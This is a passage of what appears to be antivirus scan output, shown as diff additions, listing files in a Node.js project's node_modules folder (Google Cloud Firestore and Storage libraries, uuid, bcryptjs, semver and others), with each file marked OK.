+/scan/node_modules/@google-cloud/firestore/build/src/v1/firestore_admin_client.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/v1/firestore_proto_list.json: OK
+/scan/node_modules/@google-cloud/firestore/build/src/v1/index.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/v1/firestore_client_config.json: OK
+/scan/node_modules/@google-cloud/firestore/build/src/path.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/order.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/transaction.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/recursive-delete.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/filter.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/convert.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/transaction.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/convert.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/util.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/write-batch.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/document-change.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/field-value.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/backoff.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/geo-point.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/rate-limiter.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/types.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/logger.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/serializer.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/rate-limiter.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/field-value.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/query-partition.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/types.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/status-code.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/aggregate.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/collection-group.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/validate.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/map-type.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/bundle.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/query-partition.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/status-code.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/index.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/bulk-writer.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/bulk-writer.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/bundle.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/write-batch.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/document-reader.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/recursive-delete.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/document-reader.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/pool.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/geo-point.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/aggregate.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/timestamp.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/document.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/watch.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/v1beta1/firestore_client.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/v1beta1/index.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/v1beta1/gapic_metadata.json: OK
+/scan/node_modules/@google-cloud/firestore/build/src/v1beta1/firestore_client.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/v1beta1/firestore_proto_list.json: OK
+/scan/node_modules/@google-cloud/firestore/build/src/v1beta1/index.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/v1beta1/firestore_client_config.json: OK
+/scan/node_modules/@google-cloud/firestore/build/src/map-type.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/logger.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/query-profile.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/pool.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/backoff.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/watch.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/path.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/telemetry/span.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/telemetry/trace-util.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/telemetry/disabled-trace-util.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/telemetry/enabled-trace-util.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/telemetry/disabled-trace-util.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/telemetry/span.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/telemetry/enabled-trace-util.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/telemetry/trace-util.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/timestamp.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/util.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/validate.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/collection-group.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/index.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/serializer.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/filter.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/document-change.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/order.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/query-profile.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/reference/constants.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/reference/constants.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/reference/composite-filter-internal.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/reference/document-reference.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/reference/query-util.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/reference/query-options.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/reference/types.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/reference/aggregate-query-snapshot.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/reference/types.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/reference/aggregate-query.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/reference/field-filter-internal.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/reference/vector-query.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/reference/query.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/reference/field-filter-internal.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/reference/query.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/reference/query-util.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/reference/aggregate-query.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/reference/vector-query-snapshot.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/reference/query-snapshot.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/reference/vector-query-snapshot.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/reference/collection-reference.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/reference/field-order.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/reference/helpers.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/reference/aggregate-query-snapshot.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/reference/vector-query.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/reference/composite-filter-internal.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/reference/helpers.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/reference/filter-internal.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/reference/filter-internal.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/reference/query-snapshot.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/reference/document-reference.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/reference/query-options.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/reference/field-order.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/reference/collection-reference.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/reference/vector-query-options.js: OK
+/scan/node_modules/@google-cloud/firestore/build/src/reference/vector-query-options.d.ts: OK
+/scan/node_modules/@google-cloud/firestore/build/src/document.js: OK
+/scan/node_modules/@google-cloud/promisify/LICENSE: OK
+/scan/node_modules/@google-cloud/promisify/CHANGELOG.md: OK
+/scan/node_modules/@google-cloud/promisify/README.md: OK
+/scan/node_modules/@google-cloud/promisify/package.json: OK
+/scan/node_modules/@google-cloud/promisify/build/src/index.js: OK
+/scan/node_modules/@google-cloud/promisify/build/src/index.d.ts: OK
+/scan/node_modules/@google-cloud/projectify/LICENSE: OK
+/scan/node_modules/@google-cloud/projectify/CHANGELOG.md: OK
+/scan/node_modules/@google-cloud/projectify/README.md: OK
+/scan/node_modules/@google-cloud/projectify/package.json: OK
+/scan/node_modules/@google-cloud/projectify/build/src/index.js: OK
+/scan/node_modules/@google-cloud/projectify/build/src/index.d.ts: OK
+/scan/node_modules/@google-cloud/storage/LICENSE: OK
+/scan/node_modules/@google-cloud/storage/node_modules/.bin/uuid: Symbolic link
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/LICENSE.md: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/CHANGELOG.md: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/sha1.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/stringify.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/rng.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/sha1-browser.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/md5-browser.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/bin/uuid: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/umd/uuidValidate.min.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/umd/uuid.min.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/umd/uuidv5.min.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/umd/uuidParse.min.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/umd/uuidNIL.min.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/umd/uuidv1.min.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/umd/uuidv3.min.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/umd/uuidVersion.min.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/umd/uuidv4.min.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/umd/uuidStringify.min.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/v4.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/v1.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/index.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/v5.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/v35.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/version.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/parse.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/esm-browser/sha1.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/esm-browser/stringify.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/esm-browser/rng.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/esm-browser/v4.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/esm-browser/v1.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/esm-browser/index.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/esm-browser/v5.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/esm-browser/v35.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/esm-browser/version.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/esm-browser/parse.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/esm-browser/md5.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/esm-browser/v3.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/esm-browser/regex.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/esm-browser/validate.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/esm-browser/nil.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/uuid-bin.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/md5.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/v3.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/regex.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/esm-node/sha1.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/esm-node/stringify.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/esm-node/rng.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/esm-node/v4.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/esm-node/v1.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/esm-node/index.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/esm-node/v5.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/esm-node/v35.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/esm-node/version.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/esm-node/parse.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/esm-node/md5.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/esm-node/v3.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/esm-node/regex.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/esm-node/validate.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/esm-node/nil.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/rng-browser.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/validate.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/dist/nil.js: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/wrapper.mjs: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/README.md: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/package.json: OK
+/scan/node_modules/@google-cloud/storage/node_modules/uuid/CONTRIBUTING.md: OK
+/scan/node_modules/@google-cloud/storage/README.md: OK
+/scan/node_modules/@google-cloud/storage/package.json: OK
+/scan/node_modules/@google-cloud/storage/build/esm/src/iam.d.ts: OK
+/scan/node_modules/@google-cloud/storage/build/esm/src/bucket.d.ts: OK
+/scan/node_modules/@google-cloud/storage/build/esm/src/channel.js: OK
+/scan/node_modules/@google-cloud/storage/build/esm/src/crc32c.js: OK
+/scan/node_modules/@google-cloud/storage/build/esm/src/notification.js: OK
+/scan/node_modules/@google-cloud/storage/build/esm/src/util.js: OK
+/scan/node_modules/@google-cloud/storage/build/esm/src/nodejs-common/util.js: OK
+/scan/node_modules/@google-cloud/storage/build/esm/src/nodejs-common/service.js: OK
+/scan/node_modules/@google-cloud/storage/build/esm/src/nodejs-common/service-object.d.ts: OK
+/scan/node_modules/@google-cloud/storage/build/esm/src/nodejs-common/service.d.ts: OK
+/scan/node_modules/@google-cloud/storage/build/esm/src/nodejs-common/index.js: OK
+/scan/node_modules/@google-cloud/storage/build/esm/src/nodejs-common/util.d.ts: OK
+/scan/node_modules/@google-cloud/storage/build/esm/src/nodejs-common/index.d.ts: OK
+/scan/node_modules/@google-cloud/storage/build/esm/src/nodejs-common/service-object.js: OK
+/scan/node_modules/@google-cloud/storage/build/esm/src/acl.d.ts: OK
+/scan/node_modules/@google-cloud/storage/build/esm/src/signer.d.ts: OK
+/scan/node_modules/@google-cloud/storage/build/esm/src/hash-stream-validator.js: OK
+/scan/node_modules/@google-cloud/storage/build/esm/src/hmacKey.js: OK
+/scan/node_modules/@google-cloud/storage/build/esm/src/file.d.ts: OK
+/scan/node_modules/@google-cloud/storage/build/esm/src/crc32c.d.ts: OK
+/scan/node_modules/@google-cloud/storage/build/esm/src/index.js: OK
+/scan/node_modules/@google-cloud/storage/build/esm/src/iam.js: OK
+/scan/node_modules/@google-cloud/storage/build/esm/src/hmacKey.d.ts: OK
+/scan/node_modules/@google-cloud/storage/build/esm/src/package-json-helper.cjs: OK
+/scan/node_modules/@google-cloud/storage/build/esm/src/bucket.js: OK
+/scan/node_modules/@google-cloud/storage/build/esm/src/channel.d.ts: OK
+/scan/node_modules/@google-cloud/storage/build/esm/src/signer.js: OK
+/scan/node_modules/@google-cloud/storage/build/esm/src/resumable-upload.js: OK
+/scan/node_modules/@google-cloud/storage/build/esm/src/resumable-upload.d.ts: OK
+/scan/node_modules/@google-cloud/storage/build/esm/src/hash-stream-validator.d.ts: OK
+/scan/node_modules/@google-cloud/storage/build/esm/src/notification.d.ts: OK
+/scan/node_modules/@google-cloud/storage/build/esm/src/transfer-manager.d.ts: OK
+/scan/node_modules/@google-cloud/storage/build/esm/src/file.js: OK
+/scan/node_modules/@google-cloud/storage/build/esm/src/transfer-manager.js: OK
+/scan/node_modules/@google-cloud/storage/build/esm/src/acl.js: OK
+/scan/node_modules/@google-cloud/storage/build/esm/src/util.d.ts: OK
+/scan/node_modules/@google-cloud/storage/build/esm/src/index.d.ts: OK
+/scan/node_modules/@google-cloud/storage/build/esm/src/storage.d.ts: OK
+/scan/node_modules/@google-cloud/storage/build/esm/src/storage.js: OK
+/scan/node_modules/@google-cloud/storage/build/cjs/package.json: OK
+/scan/node_modules/@google-cloud/storage/build/cjs/src/iam.d.ts: OK
+/scan/node_modules/@google-cloud/storage/build/cjs/src/bucket.d.ts: OK
+/scan/node_modules/@google-cloud/storage/build/cjs/src/channel.js: OK
+/scan/node_modules/@google-cloud/storage/build/cjs/src/crc32c.js: OK
+/scan/node_modules/@google-cloud/storage/build/cjs/src/notification.js: OK
+/scan/node_modules/@google-cloud/storage/build/cjs/src/util.js: OK
+/scan/node_modules/@google-cloud/storage/build/cjs/src/nodejs-common/util.js: OK
+/scan/node_modules/@google-cloud/storage/build/cjs/src/nodejs-common/service.js: OK
+/scan/node_modules/@google-cloud/storage/build/cjs/src/nodejs-common/service-object.d.ts: OK
+/scan/node_modules/@google-cloud/storage/build/cjs/src/nodejs-common/service.d.ts: OK
+/scan/node_modules/@google-cloud/storage/build/cjs/src/nodejs-common/index.js: OK
+/scan/node_modules/@google-cloud/storage/build/cjs/src/nodejs-common/util.d.ts: OK
+/scan/node_modules/@google-cloud/storage/build/cjs/src/nodejs-common/index.d.ts: OK
+/scan/node_modules/@google-cloud/storage/build/cjs/src/nodejs-common/service-object.js: OK
+/scan/node_modules/@google-cloud/storage/build/cjs/src/acl.d.ts: OK
+/scan/node_modules/@google-cloud/storage/build/cjs/src/signer.d.ts: OK
+/scan/node_modules/@google-cloud/storage/build/cjs/src/hash-stream-validator.js: OK
+/scan/node_modules/@google-cloud/storage/build/cjs/src/hmacKey.js: OK
+/scan/node_modules/@google-cloud/storage/build/cjs/src/file.d.ts: OK
+/scan/node_modules/@google-cloud/storage/build/cjs/src/crc32c.d.ts: OK
+/scan/node_modules/@google-cloud/storage/build/cjs/src/index.js: OK
+/scan/node_modules/@google-cloud/storage/build/cjs/src/iam.js: OK
+/scan/node_modules/@google-cloud/storage/build/cjs/src/hmacKey.d.ts: OK
+/scan/node_modules/@google-cloud/storage/build/cjs/src/package-json-helper.cjs: OK
+/scan/node_modules/@google-cloud/storage/build/cjs/src/bucket.js: OK
+/scan/node_modules/@google-cloud/storage/build/cjs/src/channel.d.ts: OK
+/scan/node_modules/@google-cloud/storage/build/cjs/src/signer.js: OK
+/scan/node_modules/@google-cloud/storage/build/cjs/src/resumable-upload.js: OK
+/scan/node_modules/@google-cloud/storage/build/cjs/src/resumable-upload.d.ts: OK
+/scan/node_modules/@google-cloud/storage/build/cjs/src/hash-stream-validator.d.ts: OK
+/scan/node_modules/@google-cloud/storage/build/cjs/src/notification.d.ts: OK
+/scan/node_modules/@google-cloud/storage/build/cjs/src/transfer-manager.d.ts: OK
+/scan/node_modules/@google-cloud/storage/build/cjs/src/file.js: OK
+/scan/node_modules/@google-cloud/storage/build/cjs/src/transfer-manager.js: OK
+/scan/node_modules/@google-cloud/storage/build/cjs/src/acl.js: OK
+/scan/node_modules/@google-cloud/storage/build/cjs/src/util.d.ts: OK
+/scan/node_modules/@google-cloud/storage/build/cjs/src/index.d.ts: OK
+/scan/node_modules/@google-cloud/storage/build/cjs/src/storage.d.ts: OK
+/scan/node_modules/@google-cloud/storage/build/cjs/src/storage.js: OK
+/scan/node_modules/@google-cloud/paginator/LICENSE: OK
+/scan/node_modules/@google-cloud/paginator/CHANGELOG.md: OK
+/scan/node_modules/@google-cloud/paginator/README.md: OK
+/scan/node_modules/@google-cloud/paginator/package.json: OK
+/scan/node_modules/@google-cloud/paginator/build/src/resource-stream.js: OK
+/scan/node_modules/@google-cloud/paginator/build/src/resource-stream.d.ts: OK
+/scan/node_modules/@google-cloud/paginator/build/src/index.js: OK
+/scan/node_modules/@google-cloud/paginator/build/src/index.d.ts: OK
+/scan/node_modules/picocolors/LICENSE: OK
+/scan/node_modules/picocolors/types.d.ts: OK
+/scan/node_modules/picocolors/picocolors.js: OK
+/scan/node_modules/picocolors/README.md: OK
+/scan/node_modules/picocolors/package.json: OK
+/scan/node_modules/picocolors/picocolors.browser.js: OK
+/scan/node_modules/picocolors/picocolors.d.ts: OK
+/scan/node_modules/bcryptjs/.npmignore: OK
+/scan/node_modules/bcryptjs/externs/minimal-env.js: OK
+/scan/node_modules/bcryptjs/externs/bcrypt.js: OK
+/scan/node_modules/bcryptjs/LICENSE: OK
+/scan/node_modules/bcryptjs/bin/bcrypt: OK
+/scan/node_modules/bcryptjs/dist/bcrypt.min.js.gz: OK
+/scan/node_modules/bcryptjs/dist/bcrypt.min.map: OK
+/scan/node_modules/bcryptjs/dist/README.md: OK
+/scan/node_modules/bcryptjs/dist/bcrypt.min.js: OK
+/scan/node_modules/bcryptjs/dist/bcrypt.js: OK
+/scan/node_modules/bcryptjs/tests/suite.js: OK
+/scan/node_modules/bcryptjs/tests/quickbrown.txt: OK
+/scan/node_modules/bcryptjs/index.js: OK
+/scan/node_modules/bcryptjs/bower.json: OK
+/scan/node_modules/bcryptjs/README.md: OK
+/scan/node_modules/bcryptjs/package.json: OK
+/scan/node_modules/bcryptjs/scripts/build.js: OK
+/scan/node_modules/bcryptjs/.vscode/settings.json: OK
+/scan/node_modules/bcryptjs/.travis.yml: OK
+/scan/node_modules/bcryptjs/src/bcrypt/util.js: OK
+/scan/node_modules/bcryptjs/src/bcrypt/util/base64.js: OK
+/scan/node_modules/bcryptjs/src/bcrypt/prng/isaac.js: OK
+/scan/node_modules/bcryptjs/src/bcrypt/prng/accum.js: OK
+/scan/node_modules/bcryptjs/src/bcrypt/prng/README.md: OK
+/scan/node_modules/bcryptjs/src/bcrypt/impl.js: OK
+/scan/node_modules/bcryptjs/src/bower.json: OK
+/scan/node_modules/bcryptjs/src/wrap.js: OK
+/scan/node_modules/bcryptjs/src/bcrypt.js: OK
+/scan/node_modules/.package-lock.json: OK
+/scan/node_modules/json-buffer/LICENSE: OK
+/scan/node_modules/json-buffer/test/index.js: OK
+/scan/node_modules/json-buffer/index.js: OK
+/scan/node_modules/json-buffer/README.md: OK
+/scan/node_modules/json-buffer/package.json: OK
+/scan/node_modules/json-buffer/.travis.yml: OK
+/scan/node_modules/long/LICENSE: OK
+/scan/node_modules/long/umd/types.d.ts: OK
+/scan/node_modules/long/umd/index.js: OK
+/scan/node_modules/long/umd/package.json: OK
+/scan/node_modules/long/umd/index.d.ts: OK
+/scan/node_modules/long/types.d.ts: OK
+/scan/node_modules/long/index.js: OK
+/scan/node_modules/long/README.md: OK
+/scan/node_modules/long/package.json: OK
+/scan/node_modules/long/index.d.ts: OK
+/scan/node_modules/faye-websocket/LICENSE.md: OK
+/scan/node_modules/faye-websocket/CHANGELOG.md: OK
+/scan/node_modules/faye-websocket/README.md: OK
+/scan/node_modules/faye-websocket/package.json: OK
+/scan/node_modules/faye-websocket/lib/faye/websocket/client.js: OK
+/scan/node_modules/faye-websocket/lib/faye/websocket/api/event_target.js: OK
+/scan/node_modules/faye-websocket/lib/faye/websocket/api/event.js: OK
+/scan/node_modules/faye-websocket/lib/faye/websocket/api.js: OK
+/scan/node_modules/faye-websocket/lib/faye/eventsource.js: OK
+/scan/node_modules/faye-websocket/lib/faye/websocket.js: OK
+/scan/node_modules/raw-body/LICENSE: OK
+/scan/node_modules/raw-body/index.js: OK
+/scan/node_modules/raw-body/README.md: OK
+/scan/node_modules/raw-body/package.json: OK
+/scan/node_modules/raw-body/index.d.ts: OK
+/scan/node_modules/doctrine/LICENSE: OK
+/scan/node_modules/doctrine/CHANGELOG.md: OK
+/scan/node_modules/doctrine/LICENSE.closure-compiler: OK
+/scan/node_modules/doctrine/README.md: OK
+/scan/node_modules/doctrine/package.json: OK
+/scan/node_modules/doctrine/lib/utility.js: OK
+/scan/node_modules/doctrine/lib/typed.js: OK
+/scan/node_modules/doctrine/lib/doctrine.js: OK
+/scan/node_modules/doctrine/LICENSE.esprima: OK
+/scan/node_modules/eastasianwidth/README.md: OK
+/scan/node_modules/eastasianwidth/eastasianwidth.js: OK
+/scan/node_modules/eastasianwidth/package.json: OK
+/scan/node_modules/lines-and-columns/LICENSE: OK
+/scan/node_modules/lines-and-columns/README.md: OK
+/scan/node_modules/lines-and-columns/package.json: OK
+/scan/node_modules/lines-and-columns/build/index.js: OK
+/scan/node_modules/lines-and-columns/build/index.d.ts: OK
+/scan/node_modules/yn/license: OK
+/scan/node_modules/yn/index.js: OK
+/scan/node_modules/yn/lenient.js: OK
+/scan/node_modules/yn/readme.md: OK
+/scan/node_modules/yn/package.json: OK
+/scan/node_modules/yn/index.d.ts: OK
+/scan/node_modules/semver/ranges/min-version.js: OK
+/scan/node_modules/semver/ranges/outside.js: OK
+/scan/node_modules/semver/ranges/ltr.js: OK
+/scan/node_modules/semver/ranges/gtr.js: OK
+/scan/node_modules/semver/ranges/min-satisfying.js: OK
+/scan/node_modules/semver/ranges/simplify.js: OK
+/scan/node_modules/semver/ranges/to-comparators.js: OK
+/scan/node_modules/semver/ranges/max-satisfying.js: OK
+/scan/node_modules/semver/ranges/valid.js: OK
+/scan/node_modules/semver/ranges/subset.js: OK
+/scan/node_modules/semver/ranges/intersects.js: OK
+/scan/node_modules/semver/preload.js: OK
+/scan/node_modules/semver/LICENSE: OK
+/scan/node_modules/semver/bin/semver.js: OK
+/scan/node_modules/semver/classes/range.js: OK
+/scan/node_modules/semver/classes/index.js: OK
+/scan/node_modules/semver/classes/comparator.js: OK
+/scan/node_modules/semver/classes/semver.js: OK
+/scan/node_modules/semver/internal/constants.js: OK
+/scan/node_modules/semver/internal/identifiers.js: OK
+/scan/node_modules/semver/internal/parse-options.js: OK
+/scan/node_modules/semver/internal/re.js: OK
+/scan/node_modules/semver/internal/lrucache.js: OK
+/scan/node_modules/semver/internal/debug.js: OK
+/scan/node_modules/semver/index.js: OK
+/scan/node_modules/semver/README.md: OK
+/scan/node_modules/semver/package.json: OK
+/scan/node_modules/semver/functions/gt.js: OK
+/scan/node_modules/semver/functions/sort.js: OK
+/scan/node_modules/semver/functions/rsort.js: OK
+/scan/node_modules/semver/functions/neq.js: OK
+/scan/node_modules/semver/functions/gte.js: OK
+/scan/node_modules/semver/functions/eq.js: OK
+/scan/node_modules/semver/functions/lte.js: OK
+/scan/node_modules/semver/functions/compare-build.js: OK
+/scan/node_modules/semver/functions/patch.js: OK
+/scan/node_modules/semver/functions/rcompare.js: OK
+/scan/node_modules/semver/functions/clean.js: OK
+/scan/node_modules/semver/functions/valid.js: OK
+/scan/node_modules/semver/functions/satisfies.js: OK
+/scan/node_modules/semver/functions/compare-loose.js: OK
+/scan/node_modules/semver/functions/parse.js: OK
+/scan/node_modules/semver/functions/minor.js: OK
+/scan/node_modules/semver/functions/compare.js: OK
+/scan/node_modules/semver/functions/coerce.js: OK
+/scan/node_modules/semver/functions/inc.js: OK
+/scan/node_modules/semver/functions/lt.js: OK
+/scan/node_modules/semver/functions/diff.js: OK
+/scan/node_modules/semver/functions/cmp.js: OK
+/scan/node_modules/semver/functions/major.js: OK
+/scan/node_modules/semver/functions/prerelease.js: OK
+/scan/node_modules/semver/range.bnf: OK
+/scan/node_modules/ini/LICENSE: OK
+/scan/node_modules/ini/README.md: OK
+/scan/node_modules/ini/package.json: OK
+/scan/node_modules/ini/ini.js: OK
+/scan/node_modules/http-errors/LICENSE: OK
